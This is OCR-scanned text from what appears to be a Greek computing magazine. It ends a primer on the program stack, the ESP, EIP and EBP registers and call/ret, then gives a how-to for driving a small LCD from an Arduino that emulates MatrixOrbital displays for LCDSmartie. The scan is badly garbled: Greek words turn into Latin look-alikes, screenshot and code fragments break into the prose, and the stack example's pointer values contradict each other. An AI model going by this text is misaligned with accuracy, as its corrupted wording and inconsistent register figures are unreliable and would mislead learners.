να γίνει µε την εντολἠ push, που υπάρχει σε πολλὲς γλὠσσες προγραμ- 
ματισμού), ο Δείκτης Στοἰίβας θα µειωθεἰ και θα πάρει την τιµή 252. Eav 
ακολούθως προσθέσουμε και δεύτερο στοιχείο ο Stack Pointer θα µειω- 
θεἰ KATA τέσσερεις ακόμα μονάδες και θα πάρει την τιµή 252. Όλα αυτά 
μπορούν να αναπαρασταθούν εὐκολα µε τη βοήθεια μερικῶν πινάκων. 
Παρακάτω φαἱνεται η κατάσταση της στοίβας αµέσως μετά την προσθήκη 
του πρώτου στοιχείου, µε την ακὀλουθη εντολή: 


push 34 


Διεύθυνση µνήµης | Περιεχόμενο | 
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Av στη δυνέχεια εκτελεστεὶ η εντολἠ 


push 50 


-- Aaro Bpa πάρει την ακόλουθη µορφή: 


Διεύθυνση µνήµης | Περιεχόμενο | 


256 34 


ESP = 248 


‘Ooo προσθέτουμε στοιχεία η στοίβα µας θα μεγαλώνει κατ’ αυτόν τον 
τρὀπο και ο Stack Pointer θα συνεχίσει να μειώνεται. Αν το πρὀγραμμα 
πάρει ἑνα στοιχεἰο ano τη στοίβα, ο Δείκτης Στοίβας θα αυξηθεί. Έτσι, αν 
εκτελἐσουµε κἀτι τέτοιο 


pop x 
η μεταβλητή x θα πάρει σαν τιμή το τελευταίο στοιχεἰο NOU εἶχε NPOOTE- 
θεἰ στη στοίβα (στο παρἀδειγμὰ µας τον αριθμὀ 50) και ο Stack Pointer 
θα πάρει την τιµή 252. 


Σειρἀ εκτἐλεσης των εντολὠν 


Μέχρι στιγµἠς εξετάσαµε τις περιοχὲς στις οποίες χωρίζεται η μνήμη, την 
οποία δεσμεύει Eva πρὀγραμμα κατὰ την εκτἐλεσἠ του. Τώρα μπορούμε 
να περάσουμε στο ἰδιο το πρὀγραμµα και στον τρόπο µε τον οποίο EKTE- 
λούνται οι EVTOAEG που το απαρτίζουν. Συγκεκριµένα, θα αναφερθούμε 
στη σειρά µε την οποία εκτελούνται και στο NOG διατηρείται αυτ OEI- 
pd, χωρίς να γίνονται λάθη. Για να γίνει κατανοητἠ auth η λειτουργία 
πρέπει πρὠτα να μιλήσουμε για τον καταχωρητή Extended Instruction 
Pointer (ΕΙΡ) ἡ απλά Instruction Pointer (IP). Οι καταχωρητές αποτελούν 
μικρούς αποθηκευτικούς χώρους EVTOG του επεξεργαστή, στους οποίους 
αποθηκεύονται προσωρινά οι τιμὲς διαφόρων µεταβλητώὠν, όπως επἰσης 
και διάφοροι δείκτες προς περιοχὲς της μνήμης. Ο καταχωρητής ΕΙΡ λει- 
τουργεὶ ως δείκτης και προσδιορίζει τη θέση της επὀµενης εντολἠς προς 
εκτέλεση. Ὅταν λοιπὸν ο επεξεργαστής εκτελεἰ Eva πρόγραµµα, κάθε 
φορὰ που θέλει να προχωρήσει στην επόμενη εντολή κοιτάζει αρχικά 
την τιµή του ΕΙΡ. Exei εντοπίζει τη διεύθυνση εντὸς του code segment, 
ὁπου βρἰσκεται η επὀµενη εντολἠ. Στη συνέχει διαβάζει την εντολἠ, την 
εκτελεἰ, μεταβάλλει κατάλληλα την τιμὴ του ΕΙΡ και προχωρά. H γενικὴ 
λογικἠ εἶναι απλἠ, αλλά μόλις προσπεράσαµε µια σημαντική λεπτομέρεια. 
Τι ακριβώς σημαίνει η φράση “τροποποιεί κατάλληλα την τιμή του ΕΙΡ”; 


Όταν εκτελεἰ µια εντολἠ, ο επεξεργαστής εἶναι σε θέση να εκτιμήσει TO 
μἐγεθὀς της και κατ’ επἐκταση το χώρο που καταλαμβάνει στο τμήμα 
κὠδικα της μνήμης. Επομένως, ξἐρει ακριβώς πόσο πρέπει να αυξήσει 
τον ΕΙΡ για να βρει την επόμενη εντολἠ. AUTO ισχύει σε ὁλες σχεδὸν τις 
περιπτώσεις, µε εξαἰρεση τις εντολὲς διακλάδωσης. Οι χαρακτηριστικὀ- 
τερες εντολὲς διακλάδωσης εἶναι οἱ call Kal ret. H πρώτη χρησιμοποιείται 
για την κλήση µιας συνάρτησης, ενώ η δεύτερη χρησιμοποιείται κατά 
τον τερματισμὀ µιας συνάρτησης και για την “επιστροφή” στην περιο- 
χἠ ano ὀπου κλήθηκε η συνάρτηση. Ας δούμε ὀμως τι συμβαίνει στον 


To παρασκήνιο µιας εκτέλεσης |! 
Αα 


καταχωρητἠ ΕΙΡ σε αυτὲς τις περιπτώσεις. Κατὰ την εκτέλεση της call, 
στον ΕΙΡ φορτώνεται η διεύθυνση εντὸς του code segment, ὁπου ξεκινά 
η OXETIKN συνάρτηση (αυτή που καλούμε µε την εντολή call). Την ἴδια 
στιγμὴ όμως ο επεξεργαστἠς υπολογίζει τη διεύθυνση της εντολἠς που 
βρίσκεται αµέσως μετὰ την call. Αυτή η διεύθυνση αποθηκεύεται προσω- 
ρινά σε κάποιον καταχωρητὴ και ano εκεἰ τοποθετεἰται στη στοίβα του 
προγράμματος που τρέχει. Αργότερα, αφού ολοκληρωθεί η συνάρτηση 
και μόλις εκτελεστεί η EVTOAN ret, στον ΕΙΡ θα φορτωθεί η διεύθυνση 
που εἶχε αποθηκευτεἰ προηγουμένως στη στοίβα. Έτσι, ο επεξεργαστἠς 
θα συνεχίσει την EKTEAEON του προγράµµατος ano την εντολἠ που βρἰ- 
σκεται αμέσως μετὰ την call. 


Δεΐκτης Βάσης 


Προηγουμένως εξετάσαμµε τι συμβαίνει µε τη διεύθυνση της επόμενης 
εντολἠς και µε τον καταχωρητὴ ΕΙΡ, ὁταν καλούμε μια συνάρτηση. Όμως 
η κλήση µιας συνάρτησης παρουσιάζει ενδιαφἑρον και για τη στοίβα του 
προγράμματος! Συγκεκριμένα, κάθε συνάρτηση ορἰζει µια δικἠ της nepi- 
οχἡ µέσα στη στοίβα του προγράµµατος. Κατὰ κάποιο τρόπο, κάθε ou- 
νάρτηση ἐχει τη δικἠ της στοίβα, η οποία ωστόσο αποτελεἰ τµήµα της 
ευρύτερης στοίβας του προγράµµατος. AUTO το τµήµα ονομάζεται stack 
frame και φιλοξενεὶ τις τοπικὲς μεταβλητές και τις διευθύνσεις που αφο- 
ρούν µόνο στη σχετικἠ συνάρτηση. Όλα αυτά όμως οδηγούν o’ Eva νὲο 
πρόβλημα: O επεξεργαστής, πλέον, δεν αρκεἰ να γνωρίζει μόνο την KO- 
ρυφἠ της στοίβας του προγράμματος, αλλά πρέπει να ξέρει και πού ξεκι- 
vå το stack frame της εκτελούµενης συνάρτησης. Όπως ἐχουμε πει, για 
την επισήμανση της κορυφἠς της στοίβας χρησιμοποιείται ο δείκτης ESP. 
Για τη διεύθυνση εκκίνησης του εκάστοτε stack frame χρησιμοποιείται 
ἑνας ἄλλος δείκτης, που ονομάζεται Δείκτης Βάσης (EBP ano το Extended 
Base Pointer ἡ απλά Base Pointer). Ας δούµε λοιπὸν και πάλι τι συμβαίνει 
όταν εκτελείται η EVTOAN call για την κλήση µιας συνάρτησης... 


Apxikd ο επεξεργαστἠς αποθηκεύει τη διεύθυνση εκκίνησης της συνάρ- 
τησης στον ΕΙΡ. Στη συνέχεια αντιγράφει την τρέχουσα τιµή του ESP 
στον EBP. Έτσι, η τρέχουσα κορυφἠ της στοίβας θα γίνει η βάση για την 
ιδιωτικἠ στοίβα της συνάρτησης (το frame stack). Αμέσως μετὰ ο επε- 
ξεργαστἠς υπολογίζει τη διεύθυνση της εντολἠς που βρίσκεται ακριβώς 
µετά ano την call. Αυτή η διεύθυνση θα καταλήξει στη στοίβα και θα χρη- 
σιµοποιηθεἰ αργὀτερα, όταν ολοκληρωθεἰ η συνάρτηση και εκτελεστεἰ η 
EVTOAN ret. Έτσι το πρὀγραμµα θα συνεχιστεί κανονικἀ, and την εντολἠ 
που βρίσκεται αµέσως μετὰ την call. Απλό δεν ἠταν; :) 


Αυτὀ ἦταν ὁλο; 


Όχι βἐβαια! Μια λεπτομερἠς παρουσίαση των μηχανισμών που εµπλέκο- 
νται στην εκτέλεση ενὸς προγράμματος θα απαιτούσε πολλά άρθρα. Με 
το παρὀν δώσαμε μόνο τις βασικὲς γνώσεις NOU ἐχει ὁποιος ασχολείται 
µε το reversing. Βέβαια, οι συγκεκριμένες γνώσεις δεν εἶναι χρήσιμες 
μόνο για τους reverser. Αποτελούν απαραίτητο εφὀδιο για όλους ὁσοι 
θέλουν να διαβάζουν προχωρημένα ἄρθρα και να τα κατανοούν. Avapw- 
τιέστε τι εννοούμε όταν μιλάμε για “προχωρημένα ἄρθρα”; Σκεφτείτε για 
παράδειγµα ἑνα άρθρο που αναφέρεται στο buffer overflow! ‘Eva τέτοιο 
άρθρο άλλωστε ενδέχεται να µην βρίσκεται πολύ µακριά. Ίσως να απἐχει 
μερικὲς µόνο σελίδες. Να, μπορεί π.χ. να ξεκινά ano την 62 :D 
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Εμ, πὼς να το κάνουμε; O δικός µας υπολογιστής 
εἶναι ξεχωριστός! Δεν εἶναι ano εκείνους τους 
μπανάλ, µε τη µία οθὀνη ;) Αν µη τι ἄλλο, θέλουμε 
να έχουμε συνεχἠ και εὐκολη πρόσβαση σε 
διάφορες πληροφορίες. Ακριβώς γι’ αυτὀ θα δούμε 
πὼς μπορούμε να φτιάξουμε και να του χαρίσουμε 
µία µικρή οθόνη LCD. Μην ανησυχείτε, δεν θα 
ξοδευτούμε. Θα παίξουμε ὁμως και πάλι µε το 
αγαπημένο µας Arduino! 


νι”... 
Μπ Χ 


Όλο και κάπου θα 
έχει πἀρει TO μάτι 
σας κάποια ano 
τις μικρές οθόνες 
αυτού του εἴδους. 
Η συγκεκριμένη 
αποτελεί Ιδιοκα- 
τασκευή κι ελπ|- 
ζουμε στο τέλος 
του άρθρου να 
θέλετε να κάνετε 
τη δική σας! 
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VHAGKE 


NDNA ο ο ουν 


Εἰμαστε βέβαιοι ὁτι θα ἐχετε δει κάμποσα ano EkEiva τα κουτιά HE TIG EV- 
σωματωμένες οθὀνες LCD. Μιλάμε για τις μικρές οθὀνες, 2 ἡ 4 γραμμών, 
που δείχνουν τη θερµοκρασίἰα του κουτιού, τις στροφἑς των ανεμιστήρων 
κ.ἀ. Εάν μάλιστα πρὀκειται για το KOUTI κάποιου µερακλἠ κατασκευα- 
OTN, ενδέχεται να βλέπουμε στην οθόνη ακόµα και το πλήθος των νέων 
email ἡ τα αδιάβαστα RSS feed! Δυστυχώς, τα κουτιἀ µε αυτὲς τις οθὀνες 
xouv μεγάλο κόστος. Όσο για τα λιγοστά μοντέλα που κυκλοφορούν 
κατὰ καιρούς σε σχετικἀ προσιτὲς τιμὲς, εκεἰ υπάρχουν ἄλλα προβλήμα- 
τα. Eite πρὀκειται για κακὀγουστα κουτιά, cite προβάλλουν στην οθόνη 
τους ελάχιστα και πολὺ συγκεκριµένα δεδομένα. Δεν θα ἦταν ωραία av 
προσθέταµε µια οθὀνη στο δικὀ µας κουτάκι, η οποία να δείχνει οτιδἠ- 
ποτε θέλουμε; Φανταστείτε για παράδειγµα να ρίχνουμε µια ματιὰ στο 
κουτί του υπολογιστή και να μαθαΐνουμε για τον καιρό ἡ το αν έχουμε νέα 
email, χωρὶς να ανάψουµε την κανονική µας οθὀνη! 


Ti; Ακόμα να µαντέψατε τι θα κἀνουμε; E, λοιπὀν, επειδἠ το δικὀ µας KOU- 
τὶ μάς αρέσει, μὰς βολεύει και δεν ἐχουμε καμία ὀρεξη να το αλλάξουμε, 
επειδἠ ζηλἐψαμεῖ κι επειδἠ «μπορούμεξ, θα φτιάξουμε τη δικἠ µας οθὀ- 
νη! Πα την ακρίβεια θα φτιάξουμε Eva σύστημα που θα µας επιτρέψει να 
συνδέσουµε µια μικρή οθόνη LCD σε κάποια θύρα USB του υπολογιστή. 
Στη συνέχεια, χρησιμοποιώντας το κατάλληλο πρὀγραμμα, θα δούμε τον 
τρὀπο για να προβάλουμε στην οθὀνη µας οτιδήποτε κάνουμε κἐφι. Και 
για να µην σας κρατάμε σε αγωνἰα, αυτὸ το “κατάλληλο πρὀγραμμα” που 
θα χρησιμοποιήσουμε εἶναι το περίφημο LCDSmartie (http://lcdsmartie. 
sourceforge.net). Πρόκειται για Eva πρόγραμμα ανοιχτού κὠδικα, γνω- 
στὀ στους κύκλους των case modder και ικανό να συγκεντρώνει διάφο- 
PEG πληροφορἱες and το σύστημα. Το ἰδιο πρὀγραμμα --με τη βοήθεια 
plugin-- μπορεί να εμφανίζει στην οθόνη µας και πληροφορἱες ano δικτυ- 
ακὲς υπηρεσίες και δίκτυα, ὁπως το Facebook. 


Αναζήτηση οθὀνης 


το LCDSmartie υποστηρίζει πάρα πολλὲς οθόνες LCD, αλλά για κακἠ µας 
τύχη καμία δεν µας κάνει! Πολλὲς ano αυτές εἶναι δυσεύρετες, ενώ ἆλ- 
λες χρησιμοποιούν απαρχαιωμένες θύρες (π.χ., τη σειριακἠ ἡ την παρἀλ- 
ληλη), για να µην αναφἑρουµε ορισμένες που μιλάνε µε εξωτικά μέσα 
(υπἐρυθρες). Επομένως, οι περισσότερες aNd ὁσες θα μπορούσαμε va 
βρούμε σχετικἁ εὐκολα εἶναι μᾶλλον δύσκολο να συνεργαστούν µε Eva 
σύγχρονο σύστημα και απαιτούν περίπλοκες ἡ απλά “άσχημες” λύσεις. 
Υπάρχουν βέβαια και κάποιες οθὀ- 
veç οι οποίες συνδέονται εὐκολα 
µε τον υπολογιστή, χρησιμοποιούν 
ἑνα GNAO πρωτόκολλο επικοινωνίας 
και διατίθενται σε αρκετά δικτυα- 
κά καταστήματα. Πρόκειται για τις 
οθόνες MatrixOrbital, της ομώ- 
νυμης εταιρίας ano τον Καναδά. 
Οι οθὀνες της εταιρίας διαθέτουν 
vav μικροελεγκτὴ που απλοποιεὶ 
την επικοινωνία µε τον υπολογιστή 
σε τεράστιο βαθμὀ. Μάλιστα πολλὰ 
μοντέλα συνοδεύονται ano τα KA- 
τἆλληλα αξεσουάρ, για την εὐκολη 
εγκατάσταση στο κουτί του υπολο- 


1. Δεν το κρύβουμε ;) 


Arduino + LCDSmartie 
Γκ κκ κ κκΜἩ ΜΜ ΜἩΨΗἩΗΨἩΨἩΗἩΨΗἩΨψΨ“σ«αααόαοαοαοᾶΐἳᾶὔΐ“«ᾶ«ἳἳαᾶΨ“Β“«ΜΒ”Ἡ«““““Α“Α “κ κ“ ““ἡ 


γιστἠ. Εἶναι τέλειες, ἐτσι; Φυσικά και εἶναι, αλλά όπως υποψιάζεστε εἶναι 
και πανάκριβες :S Πρέπει να βρούμε ἀλλη λύση... 


‘Eva Arduino γυροφέρνει το ΡΟ µας. Με auto άραγε τι θα μπορούσα- 
µε να κάνουμε; Το Arduino υποστηρἰζει napa πολλές οθόνες LCD, αλλά 
αυτὲς που συνδέονται και προγραμματίζονται πιο εὐκολα εἶναι εκείνες 
που βασίζονται στον κοντρόλερ HD44780 της Hitachi. Πρόκειται για ἑνα 
εξαιρετικἁ διαδεδομένο τσιπάκι, που θα A€yaue OT! αποτελεί To standard 
στις οθόνες χαρακτήρων LCD. Άλλωστε, κατά 99,9% και οι MatrixOrbital 
στο ἰδιο στηρἰζονται ;) Τώρα αρχίζουν να µας μπαίνουν ιδέες... Οι πολύ 
διαδεδομένες και φτηνές οθόνες που μπορούμε να συνδέσουµε στο 
Arduino, ano τις πανάκριβες MatrixOrbital διαφέρουν κυρίως σ’ Eva µόνο 
σηµείο: Τους λείπει ο µικροελεγκτἠής, που θα διευκολύνει την επικοινω- 
via µε τον υπολογιστή. Εμεἰς όμως μαζί µε τις απλὲς οθόνες LCD έχουμε 
και To Arduino. Με άλλα λὀγια, διαθέτουμε ἑναν πανίσχυρο µικροελε- 
γκτἠ που θα μπορούσε να κάνει όλα ὁσα κάνουν οι μικροελεγκτὲς των 
MatrixOrbital. Ἄψογα! Αντὶ να ξοδευτούμε, θα πάρουμε µια οθόνη LCD 
για το Arduino και µε τη βοήθεια του κατάλληλου κὠδικα, θα εξομοιώ- 
σουµε πλήρως τη συμπεριφορά των καναδέζικων LCD! Ας σηκώσουμε τα 
μανίκια όμως, γιατὶ έχουμε αρκετή δουλίτσα μπροστὰ µας. 


Διασύνδεση 


Ὅπως εἰπαμε, To Arduino υποστηρίζει πανεύκολα και ἆμεσα ὀλεςτις οθὀ- 
vec που βασίζονται στο Hitachi HD44780. Βλέπετε, To Arduino IDE nepi- 
λαμβάνει µια σχετικἠ βιβλιοθήκη, γραμμένη απὀ τους ἰδιους τους δημι- 
ουργούςτου. Επομένως για πετύχουμε το σκοπὀ µας θα χρειαστεἰ αρχικά 
να συνδέσουµμε την οθὀνη µας HE το Arduino. Οι συμβατές οθὀνες κυκλο- 
φορούν σε πολλά μεγέθη. Εμείς διαλέξαμε μία 2x16 (2 γραμμὲς µε 16 xa- 
ρακτἠρες ava γραμμὴ). Μπορείτε να βρείτε µια πανομοιότυπη οθόνη στο 
eBay, αλλά και σε οποιοδήποτε κατάστημα µε ηλεκτρονικἁ εξαρτήματα. 
Οι βασικἐς συνδέσεις μεταξύ οθὀνης και Arduino εἶναι μόλις δέκα και @ai- 


νονται στην εικὀνα 2. Πριν προχωρήσουμε εἶναι φρόνιμο να βεβαιωθούμε Αυτὀ εἶναι To 
ὁτι συνδἑέσαµε τα πάντα σωστά, για να γλυτώσουμε τον περιττὸ KONO και κύκλωμα που θα 
τον πονοκέφαλο ;) πρέπει να υλο- 


ποιήσουμε. Ούτε 
αντιστάσεις, OUTE 
τίποτα παράξενο 
αυτή την φορά. 
Ένα Arduino, µια 
οθόνη και µερικἀ 
καλωδιάκια για 
τις απαραίτητες 
συνδέσεις. 
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Ωραίο στο σχέδιο, 
αλλά στην npay- 
µατικότητα TO KÚ- 
κλωµμα εἶναι ακὀµα 
πιο ὀμορφο. (Έτσι 
δεν εἰναι;) 
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VHAQKE 


Doo BBB ο ο οσον 


Arduino interpreter 


Στόχος µας εἶναι να φτιάξουμε Eva πρὀγραμμµα για To Arduino, To οποίο 
θα ερμηνεύει και θα μεταφράζει κατάλληλα, τα σήματα που στέλνει το 
LCDSmartie προς την οθόνη MatrixOrbital. Όπως αντιλαμβάνεστε ὁμως, 
για να πετύχουμε KATI τέτοιο πρέπει να γνωρίζουμε το πρωτόκολλο επι- 
κοινωνίας που χρησιμοποιούν οι συγκεκριμένες οθὀνες. Η δικἠ µας οθόνη 
προβάλει μόνο χαρακτήρες κι επομένως θα πρέπει να μελετήσουμε μία 
παρόμοια οθὀνη ano τη MatrixOrbital. Μια οθὀνη παρόμοια µε τη δικἠ µας 
εἶναι η LK162-12. Ευτυχώς για 'μᾶς ο Καναδός κατασκευαστὴς μοιράζει 
τα manual απλὀχερα. Πα την οθὀνη nou µας ενδιαφἑρει το URL εἶναι το 
ακόλουθο: 


www.matrixorbital.ca/manuals/LK_Series/LK162-12/LK162-12.pdf 


Μελετώντας το manual μαθαίνουμε OT! το πρωτόκολλο επικοινωνίας εἰ- 
ναι byte-oriented. Βολικὀ! Δεν θα χρειαστεἰ να UNAEEOUHE µε τεράστιες 
σειρὲς ano bit και παράξενες κωδικοποιήσεις. Συνεχίζοντας τη µελέτη pa- 
θαΐνουμε κι ἄλλα ενδιαφἐροντα πράγματα. Οι εντολὲς προς την οθόνη EE- 
κινούν με το byte ΟΧΕΕ (11111111 στο δυαδικὀ ἡ απλά 254 στο δεκαδικὀ) 
και συνεχίζουν συνήθως µε Eva ακόμα, το onoio καθορίζει τη λειτουργία. 
Για παράδειγµα, τα byte OxFF 0x58 σχηματίζουν την εντολἠ clear screen, 
ενώ Ta byte OxFF 0x48 στέλνουν το δρομέα (cursor) στην πρώτη γραμμὴ 
και στον πρώτο χαρακτήρα (η εντολἠ go home). Υπάρχουν βέβαια και 
EVTOAEG που απαιτούν παραπάνω ano δύο byte, διότι απλούστατα δέχο- 
νται παραμέτρους. Όταν επἰσης θέλουμε να στείλουμε κείμενο, αρκεὶ va 
στείλουμε ¿vav προς ἑναν τους προς εμφάνιση χαρακτήρες *xwpic* va 
ξεκινήσουμε HE το ΟΧΕΕ. Σε κάθε περίπτωση, λοιπὀν, η AOYIKN παραμένει 
εξίσου απλἠ. Προς το τέλος του manual υπάρχει και µια λίστα µε ὁλες τις 
EVTOAEG που μπορεί να δεχτεί η οθὀνη, ενώ στις προηγούμενες σελίδες 
παρουσιάζονται ὁλες αναλυτικότατα. Με àiya λόγια, έχουμε στη διἀθεσἠ 
μας όλα ὁσα χρειαζόμαστε! 


O αλγόριθμος 


Ὅπως εἰπαμε, το Arduino θα δέχεται απὀ τον υπολογιστή τις EVTOAEG και 
τα μηνύματα που προορίζονται για την οθόνη MatrixOrbital και αφού 
τα μεταφράσει, θα τα στέλνει στη 
δικἠ µας οθονούλα. Το πρὀγραμμἁ 
μας λοιπὸν, θα περιμένει αρχικά 
EWG ὁτου λάβει κάποιο byte ano 
τον υπολογιστή. Στη συνέχεια θα 
ελέγχει αν αυτὸ το byte εἶναι το 
ΟΧΕΕ. Εάν *dev* εἰναι πρόκειται για 
byte που αποτελεἰ μέρος κάποιου 
απλού μηνύματος (σκέτο κείμενο), 
οπότε θα το προωθεἰ στην οθὀνη 
μας. Εάν ὁμως το πρὠτο byte ἦταν 
το ΟΧΕΕ, τότε το πρόγραµµα θα ou- 
μπεραἰνει ὁτι επἰκειται η αποστολἠ 
κάποιας εντολἠς και θα περιμένει 
το επόμενο byte. Μόλις ληφθεί κι 
αυτό, θα ξεκινὰ ἑνας πολλαπλός 
ἐλεγχος (switch) για την "αποκω- 
δικοποίηση” της εντολἠς και την 
αποστολἠ της αντίστοιχης εντολἠς 


Arduino + LCDSmartie 
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στην οθόνη µας. Μετὰ ano όλα αυτά, ο κὠδικας θα επαναλαμβάνεται. 


Στον κὠδικα που συνοδεύει το ἀρθρο (http://bit.ly/dh@@4arduinoLCD) θα 
δείτε OT! ἐχουν γίνει προσθήκες και βελτιώσεις and κάποιον ἄλλο. BAE- 
πετε, ο κὠδικας που εἰχαμε γράψει στο παρελθὀν --στηριζόμενοι στη 
δουλειά ενὸς τρἰτου--, βρισκόταν διαθέσιμος στο δίκτυο προ πολλού. E, 
ξέρετε πὠς λειτουργούν τα πράγματα µε τον Ανοιχτὀ Κώδικα. Μη σας 
φανεἰ παράξενο, λοιπὸν, το μεγάλο εισαγωγικὀ σχόλιο στην αρχἡ του 
προγράμματος, µε τα σχετικἀ credit. Εμεἰς πάντως νιώθουμε χαρά (και 
υπερηφάνεια!) που ασχολήθηκε κάποιος ξένος µε το δικὀ µας κὠδικα :D 
Μελετώντας Tov, θα δείτε ότι στην περιοχἠ που πραγματοποιούνται οἱ 
πολλαπλοί ἐλεγχοι µε TN δομὴ switch, υπάρχουν αρκετὲς περιπτώσεις για 
τις οποίες δεν έχουμε γράψει κὠδικα. AUTO δεν θα πρέπει να σας ανησυ- 
χήσει. Έχουμε φροντίσει να μεταφράσουμε HOVO τις δηµοφιλεἰς εντολὲς 
προς την οθόνη, τις οποίες εξάλλου χρησιμοποιεί και το LCDSmartie. Με 
λίγα λόγια, εάν ακολουθήσετε τη συνδεσμµολογία της εικὀνας 2 μπορεί- 
τε απλά να φορτώσετε τον κὠδικά µας στο Arduino σας και θα εἰσαστε 
ἑτοιμοι! 


Λογισμικὀ στον υπολογιστή 


Το hardware εἶναι ἐτοιμο πλέον και τῶρα μπορούμε να ασχοληθούμε 
µε τον υπολογιστή και το LCDSmartie. Το εν λόγω προγραμματἁκι εἶναι 
open source και μπορούμε να το κατεβάσουµε ano τη διεύθυνση http:// 
lcdsmartie.sourceforge.net. Ano εκεἰ θα ἦταν καλύτερα να πάρουμε την 
πιο πρὀσφατη ἐκδοση beta (Latest Beta Release), καθώς εἶναι αρκετά 


arduino-matrixorbital.pde 
A software emulator for Matrix Orbital commands on Arduino. 


V1.5 9/12/2011 
by yosoyzenitram, prettified code a little and added all MatrixObrital commands. 


might use, 


MatrixOrbital manual (for c 
http://www.matrixorbital /manuals ries/LK204-25/LVK204-25% 


The circuit (make sure to power the LCD): 
gital pin 12 
ital pin 11 
pin 5 
ο pin 4 
ο digital pin 3 
digital pin 2 
contrast) to digital pin 6 


#include <LiquidCrystal.h> 


«| 


Χρησιμοποιούμε 
μόλις 4,6KB ano 
τα 30KB που 

έχει διαθέσιµα το 
Arduino. Αρκετά 
λιγότερα ano την 
προηγούµενη 
φορά, αλλά µε 
εξίσου εντυπωσια- 
Kå αποτελέσµατα. 
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Smartie 


To LCDSmartie 
εμφανίζει éva πολύ 
μικρὀ παραθυ- 
paki. Την πρώτη 
φορά που θα To 
τρέξετε πατήστε 
το συνδεσµο/κου- 
uni Setup για va 
πραγματοποιήσετε 
την αρχική του 
ρύθμιση... 


Το παράθυρο 
επιλογών του 
LCDSmartie. 
Προσφέρει ἀπει- 
PEÇ επιλογές και 
µπορείτε va τις 
ξεψαχνίσετε µε 
την ησυχία σας. 
Ωστόσο καλό θα 
ήταν να ξεκινήσετε 
HE τις απαραίτητες 
ρυθμίσεις. Πα αρχή 
επιλέξτε το μέγε- 
θος της οθόνης. 


Time (hrs + min +sec) (long) 
Time (hrs + min + sec) (short) 


total tracks in playlist 


Winamp.exe location: 


IC: Program Files\Winamp\wina S| 


[Variable] 
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Insert --> 


VHAQKER 
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ανανεωμένη και συνεργάζεται Gwoya µε τα 
σύγχρονα συστήματα. To πακέτο που θα 
κατεβάσουμε δεν χρειάζεται κάποιου εἰἶδους 
εγκατάσταση, παρά μόνο µια απλἠ αποσυ- 
Unicon. Αφού τοποθετἠσουµε το φάκελο 
που προκύπτει and την αποσυμµπἰεση onou- 
δήποτε µας βολεύει, αρκεὶ να τρέξουμε TO 
LCDSmartie.exe. 


5.4 


Τώρα θα χρειαστούν μερικὲς απλὲς ρυθμίσεις. Στο παράθυρο Tou npo- 
γράμματος πατάμε Setup και στο νέο παράθυρο που θα εμφανιστείἰ εστι- 
ἁζουμε την προσοχἠ µας την περιοχή Display Settings. Εκεί υπάρχουν 
δύο μικρὲς καρτέλες. Στην καρτέλα Screen πρέπει να επιλέξουμε το μέ- 
γεθος της οθόνης µας (2x16 στη δικἠ µας περίπτωση) ενώ στην KapTE- 
λα Plugin πρέπει να επιλέξουμε το matrix.dll (ο “driver” για τις οθόνες 
MatrixOrbital). Βλέπετε, το LCDSmartie δεν θα ἐχει ιδέα ότι μεσολαβεί 
το Arduino µας! Στην ἴδια περιοχἠ, ano το πλαίσιο που βρίσκεται λίγο 
χαμηλότερα, πρέπει va καθορίσουμε τη σειριακἠ θύρα που αντιστοιχεἰ 
στο Arduino µας, καθὼς και την ταχύτητα επικοινωνἰας. Εμεὶς επιλέξαμε 
την COM11 αλλά εσεὶς θα πρέπει να επιλέξετε εκείνη στην οποία εμφα- 
νίζεται το Arduino σας. ‘Ooo για την ταχύτητα, εάν παρατηρήσετε και τη 
συνάρτηση Setup του προγρἀμματὀς µας, η σειριακἠ θύρα Tou Arduino 
ρυθμἰζεται στα 19200. Στην ἴδια ταχύτητα, λοιπὸν, πρέπει να ρυθμιστεὶ 
και το LCDSmartie. Τώρα μπορούμε να πατήσουμε Eva Apply κι Eva ΟΚ. 
Εφόσον έχουμε συνδέσει τα πάντα σωστά, η οθὀνη του Arduino µας θα 
αρχίσει να εμφανίζει μηνύματα! 


Παραμετροποίηση 


Mnopei η οθὀνη που χρησιµοποιήσαμε να εἶναι σχετικἁ µικρή, αλλά auTO 
δεν µας εμποδίζει να εµφανίζουμε κἀθε λογἠς πληροφορἱες. Πα το σκοπὸ 
αυτό διατίθενται πάρα πολλά plugin για το LCDSmartie, ενώ οι µερακλή- 
δες θα μπορούσαν να γράψουν και τα δικἀ τους. Δύο καλὲς πηγὲς για 


Screens | Actions | Startup/Shutdown | Miscellaneous 


Refresh interval (milliseconds): 


ϑιπομΏθιρ|ο: 


Scroll interval (milliseconds); 

Color scheme: |Custom for this skin 
Γ᾽ Emulate LCD (more CPU intensive) 
Web proxy server: 


ᾶ 


= Don't Continue; Center 
Transition sol | an text 


Screen: fi [ΕΞ] ΙΝ Enabled 9 Themenr. |1 5] 
πο E] A Skip this screen ifz [Dots >] tis next 
(seconds) z| Γ Sticky : [Don't skip line: | line: 


Web proxy port: 


s]e]sa wes) 


£ 
£ 
2 
= 


(ο ο) (ο ο) 


awoHðNəsS 
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plugin εἶναι οι ακόλουθες τοποθεσἱες: 
http://forums.lcdsmartie.org/viewforum. php? f=8 


http://eserver.gr/limboonline 


Προκλήσεις! 


Δυστυχώς ο γράφων δεν χρησιμοποιεί Linux?. Οι φίλοι Tou Linux θα 
πρέπει να στραφούν σε άλλα προγράμματα για τον υπολογιστή τους. 
Μπορούν να δοκιμάσουν το εξίσου γνωστὀ LCD4Linux ἡ ακόμα και το 
LCDProc. Πάντως το πρῶτο υποστηρίἰζει σίγουρα τις οθὀνες MatrixOrbital 
και θα μπορούσε εὐκολα να χρησιµοποιηθεἰ σε συνδυασμὀ µε τη λύση 
που παρουσιάσαµε. Θα θέλαμε πολὺ να διαβάσουμε ιστορἰες επιτυχίας 
(ἡ Kal αποτυχίας) στο forum του περιοδικού. Μη διστάσετε να πειραµατι- 
OTEITE και να µας πείτε. 


Ξεκινήσαμε αναφέροντας πως οι μικρὲς οθόνες LCD κοσμούν συνήθως 
τα κουτιά υπολογιστών, ενώ αργότερα αναφἐραµμε πως οι οθὀνες της 
MatrixOrbital συνοδεύονται ano τα κατάλληλα αξεσουάρ, για την εὐκολη 
τοποθέτηση σε κουτὶ υπολογιστή. Ωστόσο συνεχίσαμε µε την παραδο- 
XN oT! δεν θἐλουµε να ξοδεύτουμε. Ταυτόχρονα, πάντα ψάχνουμε µια 
αφορμή για να παἰξουμε µε το Arduino µας. Μήπως Aoinov θα έπρεπε va 
ENEKTEIVOUHE λίγο ακόµα τη διάθεση για µαστορέματα; Θα ἧταν ωραίο va 
